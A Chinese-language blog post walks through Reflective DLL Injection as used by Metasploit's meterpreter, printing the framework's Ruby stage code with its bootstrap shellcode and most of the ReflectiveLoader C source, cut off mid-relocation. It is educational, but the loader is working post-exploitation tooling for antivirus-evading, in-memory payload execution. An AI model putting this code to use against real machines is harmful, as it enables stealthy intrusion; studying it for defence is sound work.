为什么会提到Reflective DLL Injection,看Metasploit Unleashed,里面提到神器meterpreter和vnc injection都是利用这种技术,还给了链接,果断猛击,结果悲催的校园网+端午节放假+搜狗教育网加速负荷过大+人品,打不开,换了cmcc都没前途.猛然醒起前天,啊哈哈哈哈哈,果断用filetype:pdf+关键字xx了一篇.后来有找到实现代码,其实代码在src里面就有,不过我找到的代码是最原始的框架,没有经过加工的.老外的开源精神是没办法比的,我们写个什么东西,技术含量也不是很高但是仍然要藏着掖着,anyway,入正题..
声明:以下是我的一些看法,不一定对,欢迎大家拍砖讨论,共同进步^_^
dll注入就是把一个dll加载到一个exe里,简单场景是现在有一个inject.dll,有a.exe正在运行,你写一个b.exe,让a.exe去加载这个inject.dll,具体实现是让b.exe在a.exe的进程空间里面写入"inject.dll"这个dll名称,之后用CreateRemoteThread创建远程线程用LoadLibrary做线程函数就OK了.这个是一个很简单的场景,现在更进一步,如果实在exploitation的场景下,那么没有b.exe,你得到的进程上下文是a.exe,你可以执行你的shellcode,这样看来,其实实现起来也很简单,关键你需要解决的问题是,你怎么把inject.dll传到target机子上.这个不是我们讨论的范围.如果你成功的把inject.dll传过去了,直接LoadLibrary()就OK了.
我们来看exploitation场景,此时我们需要再target机子上写一个文件,这个文件就是inject.dll,这样的硬盘文件操作很容易引起杀软和主动防御软件的警报和注意,从而导致失败.Reflective DLL Injection提出来就是解决这个问题的,完全不需要在硬盘上写入inject.dll,而是直接在内存当中操作.然后自己加载这个inject.dll.后面会详细说.
科普一下,在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage我这样比喻吧,像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动.上面提到的Reflective DLL Injection是作为一个stage存在的.也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上.对于stager的部分我们也不讨论.
也即是说,我们的前提是:你已经获得了target上的shellcode执行权限,你的shellcode能够接受数据,写入内存并移交控制权(EIP).下面简单看一下metasploit的meterpreter的payload:
- #$MSFHOME/modules/payloads/stages/windows/meterpreter.rb
- #-------------------------------------------------------
- ##
- # $Id: meterpreter.rb 8984 2010-04-03 05:21:15Z hdm $
- ##
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ##
- require 'msf/core'
- require 'msf/core/payload/windows/reflectivedllinject'
- require 'msf/base/sessions/meterpreter_x86_win'
- require 'msf/base/sessions/meterpreter_options'
- ###
- #
- # Injects the meterpreter server DLL via the Reflective Dll Injection payload
- #
- ###
- module Metasploit3
- include Msf::Payload::Windows::ReflectiveDllInject
- include Msf::Sessions::MeterpreterOptions
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Windows Meterpreter (Reflective Injection)',
- 'Version' => '$Revision: 8984 $',
- 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
- 'Author' => ['skape','sf'],
- 'PayloadCompat' =>
- {
- 'Convention' => 'sockedi',
- },
- 'License' => MSF_LICENSE,
- 'Session' => Msf::Sessions::Meterpreter_x86_Win))
- # Don't let people set the library name option
- options.remove_option('LibraryName')
- options.remove_option('DLL')
- end
- def library_path
- File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll")
- end
- end
在这里面我们看到的东西是,meterpreter.rb他引入了msf/core/payload/windows/reflectivedllinject,这个是实现反射dll注入的文件,剩下的他提供的信息包括,他加入了meterpreter的session以及他使用的注入dll是metsrv.dll.
下面是reflectivedllinject.rb
- #$MSFHOME/lib/msf/core/payload/windows/reflectivedllinject.rb
- #------------------------------------------------------------
- require 'msf/core'
- require 'rex/peparsey'
- module Msf
- ###
- #
- # Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection.
- #
- ###
- module Payload::Windows::ReflectiveDllInject
- include Msf::Payload::Windows
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Reflective Dll Injection',
- 'Version' => '$Revision: 12600 $',
- 'Description' => 'Inject a Dll via a reflective loader',
- 'Author' => [ 'sf' ],
- 'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ],
- 'Platform' => 'win',
- 'Arch' => ARCH_X86,
- 'PayloadCompat' =>
- {
- 'Convention' => 'sockedi -https',
- },
- 'Stage' =>
- {
- 'Offsets' =>
- {
- 'EXITFUNC' => [ 33, 'V' ]
- },
- 'Payload' => ""
- }
- ))
- register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
- end
- def library_path
- datastore['DLL']
- end
- def stage_payload(target_id=nil)
- dll = ""
- offset = 0
- begin
- File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }
- pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
- pe.exports.entries.each do |entry|
- if( entry.name =~ /^/S*ReflectiveLoader/S*/ )
- offset = pe.rva_to_file_offset( entry.rva )
- break
- end
- end
- raise "Can't find an exported ReflectiveLoader function!" if offset == 0
- rescue
- print_error( "Failed to read and parse Dll file: #{$!}" )
- return
- end
- exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
- bootstrap = "/x4D" + # dec ebp ; M
- "/x5A" + # pop edx ; Z
- "/xE8/x00/x00/x00/x00" + # call 0 ; call next instruction
- "/x5B" + # pop ebx ; get our location (+7)
- "/x52" + # push edx ; push edx back
- "/x45" + # inc ebp ; restore ebp
- "/x55" + # push ebp ; save ebp
- "/x89/xE5" + # mov ebp, esp ; setup fresh stack frame
- "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
- "/xFF/xD3" + # call ebx ; call ReflectiveLoader
- "/x89/xC3" + # mov ebx, eax ; save DllMain for second call
- "/x57" + # push edi ; our socket
- "/x68/x04/x00/x00/x00" + # push 0x4 ; signal we have attached
- "/x50" + # push eax ; some value for hinstance
- "/xFF/xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
- "/x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
- "/x68/x05/x00/x00/x00" + # push 0x5 ; signal we have detached
- "/x50" + # push eax ; some value for hinstance
- "/xFF/xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
- # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
- if( bootstrap.length > 62 )
- print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
- return
- end
- # patch the bootstrap code into the dll's DOS header...
- dll[ 0, bootstrap.length ] = bootstrap
- # patch the target ID into the URI if specified
- if target_id
- i = dll.index("/123456789 HTTP/1.0/r/n/r/n/x00")
- if i
- t = target_id.to_s
- raise "Target ID must be less than 5 bytes" if t.length > 4
- u = "/B#{t} HTTP/1.0/r/n/r/n/x00"
- print_status("Patching Target ID #{t} into DLL")
- dll[i, u.length] = u
- end
- end
- # return our stage to be loaded by the intermediate stager
- return dll
- end
- end
- end
里面有提到这篇论文的出处在http://www.harmonysecurity.com/ReflectiveDllInjection.html,有兴趣的同学请猛击. 简单解释一下,这个rb是构建一个inject.dll传到target当中写入内存,这个dll的结构大概是这样(瞄的,我要自己画图..)
如图,在metsrv.dll里面写入Bootstrap,同时定位ReflectiveLoader()的地址,硬编码写入Bootstrap里面,同时加入退出函数的地址.这里用了一个小技巧,很cool,很强大,将Bootstrap直接写入dll的头部这样不是会破坏dll这个文件的结构么?我之前也认为Bootstrap是写在dll文件之前的,像Bootstrap+Metsrv.dll这样发送过去,但是在Bootstrap里面,他需要完成一项工作,就是代码的重定向工作.看下Bootstrap的生成代码,有一句"/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader,其中的offset在前面是offset = pe.rva_to_file_offset( entry.rva ),简单的理解是,offset是Metsrv.dll编译好之后,ReflectiveLoader()函数在文件中的RVA,相对虚拟地址,相对虚拟地址需要加上基址才是真实地址,如果将Bootsrtap放在Metsrv.dll文件之前(而不是文件里面)的话,重定位要更繁琐一点.而且,不够cool.当看到这句的时候感觉很帅,
bootstrap = "/x4D" + # dec ebp ; M
"/x5A" + # pop edx ; Z
注意了,MZ标志也可以拿来做指令.没错!就是dec ebp和pop edx,这两条指令的16进制刚好是MZ的ascii码,然后利用头部的空隙插入37字节的指令,如图,MZ头部后面有起码40字节的空隙可以利用.
之后的代码是经典的重定位实现方式,call下一条指令,pop一下弹出call的返回地址,也就是
"/x5B" + # pop ebx ; get our location (+7)
这条指令的地址,这条指令里文件头部的偏移是7,只要将这个地址减去7那就是基址了,你懂了吧,有了基址,加上RVA就得到了ReflectiveLoader()的地址了,有了地址直接call过去就完事了,ReflectiveLoader()没有参数,返回值是DlMain()的地址,这里再说一下
"/xE8/x00/x00/x00/x00" + # call 0 ; call next instruction
像call和jmp+立即数的指令,立即数的计算都是(目标地址 - (当前地址 + 5)),注意立即数写入机器码时需要逆序(高高低低原则),这句
"/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
里面的pack("V")就是逆序输入的意思.
"/x57" + # push edi ; our socket
这里的edi是由stager里面传进来的socket,在dllmain里面会进行处理.DllMain的声明是
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
最后一个参数两次调用,第一次传进来的是socket,第二次传进来是退出函数的地址.供退出用.
好吧,这样大概的执行流程框架就有了(还是前面的前提,你有了小马,stage):1.小马转移EIP到dll的文件头->2.进行重定位->3.计算ReflectiveLoader()地址->4.调用ReflectiveLoader()->5.得到DllMain()地址(前面调用的返回值)->6.调用DllMain(),此时应该就在DllMain()里面(大马的代码)循环直到attacker退出.->7.第二次调用DllMain(),此时按退出函数安全退出.
另外,dll里面是对dll的调用状态进行了扩展(DllMain的第二个参数DWORD dwReason),加入了自己的attach和detach两种情况.
在整个流程当中,很关键的一环是第4步,ReflectiveLoader()的具体实现过程:
1.首先需要获取三个关键函数的地址.
2.分配一块内存,把dll复制过去,这个过程细化了,不是一下子全部复制,而是分开头部和各个区块.
3.处理IAT,再处理重定向表.
4.使用DLL_PROCESS_ATTACH调用一次DllMain().
5.返回DllMain()的地址供Bootstrap调用.
1当中是用常见的PEB定位方式+hash比对得到的,三个关键函数分别是VirtualAlloc(),LoadLibrary()和GetProcAddress(),第一个用来分配内存拷贝dll过去,第二个和第三个是用来处理dll的输入表的.代码里面模拟实现IAT的填充,需要用到这两个函数.整个过程难度最大的应该是对IAT和重定向表的手动处理,这个需要对PE文件结构有一定的理解,次之是三个关键函数的定位.
2当中为何分开头部和各个区块复制,这是由于PE文件区块在内存当中和磁盘上的对齐值不同,典型的磁盘对齐是200h,而内存是1000h(刚好是一个页的大小),我们把dll复制到内存当中的时候就是要模拟系统对dll的映射,因此必须分开处理.我开始一直以为CreateFileMapping就是做好了内存对齐,结果带来的问题就是,我如何获取这个按内存对齐之后的整体大小(我一开始的思路还是停留在整体复制上),这个应该也是反射dll注入的亮点之一.
最后附上代码,简单易懂多注释.大家研究研究.
ReflectiveLoader.h
- //===============================================================================================//
- // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
- // All rights reserved.
- //
- // Redistribution and use in source and binary forms, with or without modification, are permitted
- // provided that the following conditions are met:
- //
- // * Redistributions of source code must retain the above copyright notice, this list of
- // conditions and the following disclaimer.
- //
- // * Redistributions in binary form must reproduce the above copyright notice, this list of
- // conditions and the following disclaimer in the documentation and/or other materials provided
- // with the distribution.
- //
- // * Neither the name of Harmony Security nor the names of its contributors may be used to
- // endorse or promote products derived from this software without specific prior written permission.
- //
- // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
- // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
- // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
- // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
- // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
- // POSSIBILITY OF SUCH DAMAGE.
- //===============================================================================================//
- #ifndef REFLECTIVELOADER_H
- #define REFLECTIVELOADER_H
- //===============================================================================================//
- #define WIN32_LEAN_AND_MEAN
- #include <windows.h>
- #include <Winsock2.h>
- #include <Winternl.h>
- #define EXITFUNC_SEH 0x5F048AF0
- #define EXITFUNC_THREAD 0x60E0CEEF
- #define EXITFUNC_PROCESS 0x73E2D87E
- #define DLL_METASPLOIT_ATTACH 4
- #define DLL_METASPLOIT_DETACH 5
- #define DEREF_32( name )*(DWORD *)(name)
- #define DEREF_16( name )*(WORD *)(name)
- #define DEREF_8( name )*(BYTE *)(name)
- #define DLLEXPORT __declspec( dllexport )
- typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
- typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
- typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
- typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
- #define LOADLIBRARYA_HASH 0xEC0E4E8E
- #define GETPROCADDRESS_HASH 0x7C0DFCAA
- #define VIRTUALALLOC_HASH 0x91AFCA54
- #define HASH_KEY 13
- //===============================================================================================//
- __forceinline DWORD __hash( char * c )
- {
- register DWORD h = 0;
- do
- {
- __asm ror h, HASH_KEY
- h += *c;
- } while( *++c );
- return h;
- }
- //===============================================================================================//
- __forceinline DWORD __get_peb()
- {
- __asm mov eax, fs:[ 0x30 ]
- }
- //===============================================================================================//
- __forceinline VOID __memzero( DWORD dwDest, DWORD dwLength )
- {
- __asm
- {
- mov ecx, dwLength
- xor eax, eax
- mov edi, dwDest
- rep stosb
- }
- }
- //===============================================================================================//
- __forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength )
- {
- __asm
- {
- mov ecx, dwLength
- mov esi, dwSource
- mov edi, dwDest
- rep movsb
- }
- }
- //===============================================================================================//
- // WinDbg> dt -v ntdll!_PEB_LDR_DATA
- typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
- {
- DWORD dwLength;
- DWORD dwInitialized;
- LPVOID lpSsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID lpEntryInProgress;
- } PEB_LDR_DATA, * PPEB_LDR_DATA;
- // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
- typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
- {
- struct _PEB_FREE_BLOCK * pNext;
- DWORD dwSize;
- } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
- /*
- // You may or may not need to uncomment this structure.
- typedef struct _UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING;
- typedef UNICODE_STRING *PUNICODE_STRING;
- */
- // struct _PEB is defined in Winternl.h but it is incomplete
- // WinDbg> dt -v ntdll!_PEB
- typedef struct __PEB // 65 elements, 0x210 bytes
- {
- BYTE bInheritedAddressSpace;
- BYTE bReadImageFileExecOptions;
- BYTE bBeingDebugged;
- BYTE bSpareBool;
- LPVOID lpMutant;
- LPVOID lpImageBaseAddress;
- PPEB_LDR_DATA pLdr;
- LPVOID lpProcessParameters;
- LPVOID lpSubSystemData;
- LPVOID lpProcessHeap;
- PRTL_CRITICAL_SECTION pFastPebLock;
- LPVOID lpFastPebLockRoutine;
- LPVOID lpFastPebUnlockRoutine;
- DWORD dwEnvironmentUpdateCount;
- LPVOID lpKernelCallbackTable;
- DWORD dwSystemReserved;
- DWORD dwAtlThunkSListPtr32;
- PPEB_FREE_BLOCK pFreeList;
- DWORD dwTlsExpansionCounter;
- LPVOID lpTlsBitmap;
- DWORD dwTlsBitmapBits[2];
- LPVOID lpReadOnlySharedMemoryBase;
- LPVOID lpReadOnlySharedMemoryHeap;
- LPVOID lpReadOnlyStaticServerData;
- LPVOID lpAnsiCodePageData;
- LPVOID lpOemCodePageData;
- LPVOID lpUnicodeCaseTableData;
- DWORD dwNumberOfProcessors;
- DWORD dwNtGlobalFlag;
- LARGE_INTEGER liCriticalSectionTimeout;
- DWORD dwHeapSegmentReserve;
- DWORD dwHeapSegmentCommit;
- DWORD dwHeapDeCommitTotalFreeThreshold;
- DWORD dwHeapDeCommitFreeBlockThreshold;
- DWORD dwNumberOfHeaps;
- DWORD dwMaximumNumberOfHeaps;
- LPVOID lpProcessHeaps;
- LPVOID lpGdiSharedHandleTable;
- LPVOID lpProcessStarterHelper;
- DWORD dwGdiDCAttributeList;
- LPVOID lpLoaderLock;
- DWORD dwOSMajorVersion;
- DWORD dwOSMinorVersion;
- WORD wOSBuildNumber;
- WORD wOSCSDVersion;
- DWORD dwOSPlatformId;
- DWORD dwImageSubsystem;
- DWORD dwImageSubsystemMajorVersion;
- DWORD dwImageSubsystemMinorVersion;
- DWORD dwImageProcessAffinityMask;
- DWORD dwGdiHandleBuffer[34];
- LPVOID lpPostProcessInitRoutine;
- LPVOID lpTlsExpansionBitmap;
- DWORD dwTlsExpansionBitmapBits[32];
- DWORD dwSessionId;
- ULARGE_INTEGER liAppCompatFlags;
- ULARGE_INTEGER liAppCompatFlagsUser;
- LPVOID lppShimData;
- LPVOID lpAppCompatInfo;
- UNICODE_STRING usCSDVersion;
- LPVOID lpActivationContextData;
- LPVOID lpProcessAssemblyStorageMap;
- LPVOID lpSystemDefaultActivationContextData;
- LPVOID lpSystemAssemblyStorageMap;
- DWORD dwMinimumStackCommit;
- } _PEB, * _PPEB;
- typedef struct
- {
- WORD offset:12;
- WORD type:4;
- } IMAGE_RELOC, *PIMAGE_RELOC;
- //===============================================================================================//
- #endif
- //===============================================================================================//
ReflectiveLoader.c
- //===============================================================================================//
- // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
- // All rights reserved.
- //
- // Redistribution and use in source and binary forms, with or without modification, are permitted
- // provided that the following conditions are met:
- //
- // * Redistributions of source code must retain the above copyright notice, this list of
- // conditions and the following disclaimer.
- //
- // * Redistributions in binary form must reproduce the above copyright notice, this list of
- // conditions and the following disclaimer in the documentation and/or other materials provided
- // with the distribution.
- //
- // * Neither the name of Harmony Security nor the names of its contributors may be used to
- // endorse or promote products derived from this software without specific prior written permission.
- //
- // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
- // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
- // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
- // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
- // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
- // POSSIBILITY OF SUCH DAMAGE.
- //===============================================================================================//
- #include "ReflectiveLoader.h"
- //===============================================================================================//
- // You must implement this to add desired functionality, see ReflectiveDll.c ...
- extern int Init( SOCKET socket );
- //===============================================================================================//
- // Our loader will set this to a pseudo correct value
- HINSTANCE hAppInstance;
- //===============================================================================================//
- // This is our position independent reflective Dll loader/injector
- DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )
- {
- // the functions we need
- LOADLIBRARYA pLoadLibraryA;
- GETPROCADDRESS pGetProcAddress;
- VIRTUALALLOC pVirtualAlloc;
- BYTE bCounter = 3;
- // the initial location of this image in memory
- DWORD dwLibraryAddress;
- // the kernels base address and later this images newly loaded base address
- DWORD dwBaseAddress;
- // variables for processing the kernels export table
- DWORD dwAddressArray;
- DWORD dwNameArray;
- DWORD dwExportDir;
- DWORD dwNameOrdinals;
- DWORD dwHashValue;
- // variables for loading this image
- DWORD dwHeaderValue;
- DWORD dwValueA;
- DWORD dwValueB;
- DWORD dwValueC;
- DWORD dwValueD;
- // STEP 0: calculate our images current base address
- // we will start searching backwards from our current EIP
- __asm call getip
- __asm getip: pop dwLibraryAddress
- // loop through memory backwards searching for our images base address
- // we dont need SEH style search as we shouldnt generate any access violations with this
- while( TRUE )
- {
- if( ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
- {
- dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
- // break if we have found a valid MZ/PE header
- if( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
- break;
- }
- dwLibraryAddress--;
- }
- // STEP 1: process the kernels exports for the functions our loader needs...
- // get the Process Enviroment Block
- dwBaseAddress = __get_peb();
- // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
- dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr;
- dwBaseAddress = DEREF_32( ((PPEB_LDR_DATA)dwBaseAddress)->InInitializationOrderModuleList.Flink );
- // get this kernels base address
- dwBaseAddress = DEREF_32( dwBaseAddress + 8 );
- // get the VA of the modules NT Header
- dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew;
- // dwNameArray = the address of the modules export directory entry
- dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
- // get the VA of the export directory
- dwExportDir = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );
- // get the VA for the array of name pointers
- dwNameArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNames );
- // get the VA for the array of name ordinals
- dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals );
- // loop while we still have imports to find
- while( bCounter > 0 )
- {
- // compute the hash values for this function name
- dwHashValue = __hash( (char *)( dwBaseAddress + DEREF_32( dwNameArray ) ) );
- // if we have found a function we want we get its virtual address
- if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
- {
- // get the VA for the array of addresses
- dwAddressArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );
- // use this functions name ordinal as an index into the array of name pointers
- dwAddressArray += ( DEREF_16( dwNameOrdinals ) * sizeof(DWORD) );
- // store this functions VA
- if( dwHashValue == LOADLIBRARYA_HASH )
- pLoadLibraryA = (LOADLIBRARYA)( dwBaseAddress + DEREF_32( dwAddressArray ) );
- else if( dwHashValue == GETPROCADDRESS_HASH )
- pGetProcAddress = (GETPROCADDRESS)( dwBaseAddress + DEREF_32( dwAddressArray ) );
- else if( dwHashValue == VIRTUALALLOC_HASH )
- pVirtualAlloc = (VIRTUALALLOC)( dwBaseAddress + DEREF_32( dwAddressArray ) );
- // decrement our counter
- bCounter--;
- }
- // get the next exported function name
- dwNameArray += sizeof(DWORD);
- // get the next exported function name ordinal
- dwNameOrdinals += sizeof(WORD);
- }
- // STEP 2: load our image into a new permanent location in memory...
- // get the VA of the NT Header for the PE to be loaded
- dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
- // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
- // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
- dwBaseAddress = (DWORD)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
- // we must now copy over the headers
- dwValueA = ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfHeaders;
- dwValueB = dwLibraryAddress;
- dwValueC = dwBaseAddress;
- __memcpy( dwValueC, dwValueB, dwValueA );
- // STEP 3: load in all of our sections...
- // dwValueA = the VA of the first section
- dwValueA = ( (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.SizeOfOptionalHeader );
- // itterate through all sections, loading them into memory.
- while( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.NumberOfSections-- )
- {
- // dwValueB is the VA for this section
- dwValueB = ( dwBaseAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->VirtualAddress );
- // dwValueC if the VA for this sections data
- dwValueC = ( dwLibraryAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->PointerToRawData );
- // copy the section over
- dwValueD = ((PIMAGE_SECTION_HEADER)dwValueA)->SizeOfRawData;
- __memcpy( dwValueB, dwValueC, dwValueD );
- // get the VA of the next section
- dwValueA += sizeof( IMAGE_SECTION_HEADER );
- }
- // STEP 4: process our images import table...
- // dwValueB = the address of the import directory
- dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
- // we assume their is an import table to process
- // dwValueC is the first entry in the import table
- dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );
- // itterate through all imports
- while( ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name )
- {
- // use LoadLibraryA to load the imported module into memory
- dwLibraryAddress = (DWORD)pLoadLibraryA( (LPCSTR)( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) );
- // dwValueD = VA of the OriginalFirstThunk
- dwValueD = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->OriginalFirstThunk );
- // dwValueA = VA of the IAT (via first thunk not origionalfirstthunk)
- dwValueA = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk );
- // itterate through all imported functions, importing by ordinal if no name present
- while( DEREF_32(dwValueA) )
- {
- // sanity check dwValueD as some compilers only import by FirstThunk
- if( dwValueD && ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG32 )
- {
- // get the VA of the modules NT Header
- dwExportDir = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew;
- // dwNameArray = the address of the modules export directory entry
- dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
- // get the VA of the export directory
- dwExportDir = ( dwLibraryAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress );
- // get the VA for the array of addresses
- dwAddressArray = ( dwLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions );
- // use the import ordinal (- export ordinal base) as an index into the array of addresses
- dwAddressArray += ( ( IMAGE_ORDINAL32( ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->Base ) * sizeof(DWORD) );
- // patch in the address for this imported function
- DEREF_32(dwValueA) = ( dwLibraryAddress + DEREF_32(dwAddressArray) );
- }
- else
- {
- // get the VA of this functions import by name struct
- dwValueB = ( dwBaseAddress + DEREF_32(dwValueA) );
- // use GetProcAddress and patch in the address for this imported function
- DEREF_32(dwValueA) = (DWORD)pGetProcAddress( (HMODULE)dwLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)dwValueB)->Name );
- }
- // get the next imported function
- dwValueA += 4;
- if( dwValueD )
- dwValueD += 4;
- }
- // get the next import
- dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
- }
- // STEP 5: process all of our images relocations...
- // calculate the base address delta and perform relocations (even if we load at desired image base)
- dwLibraryAddress = dwBaseAddress - ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.ImageBase;
- // dwValueB = the address of the relocation directory
- dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
- // check if their are any relocations present
- if( ((PIMAGE_DATA_DIRECTORY)dwValueB)->Size )
- {
- // dwValueC is now the first entry (IMAGE_BASE_RELOCATION)
